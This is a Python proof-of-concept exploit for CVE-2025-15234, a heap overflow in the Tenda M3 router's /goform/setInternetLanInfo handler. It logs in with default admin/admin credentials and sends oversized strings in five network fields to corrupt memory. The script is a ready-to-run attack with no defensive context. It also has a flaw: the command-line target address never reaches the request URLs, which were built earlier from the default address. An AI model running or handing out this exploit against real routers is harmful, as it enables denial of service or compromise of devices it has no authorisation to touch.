CVE-2025-15234

import requests import sys # CVE-2025-15234 PoC - Tenda M3 Heap Overflow # Target: Tenda M3 1.0.0.13(4903) # Vulnerability: Heap-based buffer overflow in /goform/setInternetLanInfo TARGET_IP = "192.168.0.1" TARGET_PORT = 80 LOGIN_URL = f"http://{TARGET_IP}:{TARGET_PORT}/login" EXPLOIT_URL = f"http://{TARGET_IP}:{TARGET_PORT}/goform/setInternetLanInfo" def login(): """Login to Tenda M3 router with default credentials""" session = requests.Session() login_data = { "username": "admin", "password": "admin" } try: response = session.post(LOGIN_URL, data=login_data, timeout=10) return session except requests.RequestException as e: print(f"Login failed: {e}") return None def exploit_heap_overflow(session): """Trigger heap overflow by sending oversized parameters""" # Generate payload with oversized input to trigger heap overflow # The vulnerability is in formSetRemoteInternetLanInfo function overflow_payload = "A" * 1024 exploit_data = { "portIp": overflow_payload, "portMask": overflow_payload, "portGateWay": overflow_payload, "portDns": overflow_payload, "portSecDns": overflow_payload } try: response = session.post(EXPLOIT_URL, data=exploit_data, timeout=10) print(f"Exploit sent. Status code: {response.status_code}") print(f"Response: {response.text[:200]}") return True except requests.RequestException as e: print(f"Exploit failed: {e}") return False def main(): print("=" * 60) print("CVE-2025-15234 PoC - Tenda M3 Heap Overflow") print("=" * 60) if len(sys.argv) > 1: global TARGET_IP TARGET_IP = sys.argv[1] session = login() if session: print(f"[*] Successfully logged in to {TARGET_IP}") exploit_heap_overflow(session) else: print("[!] Failed to authenticate") if __name__ == "__main__": main()

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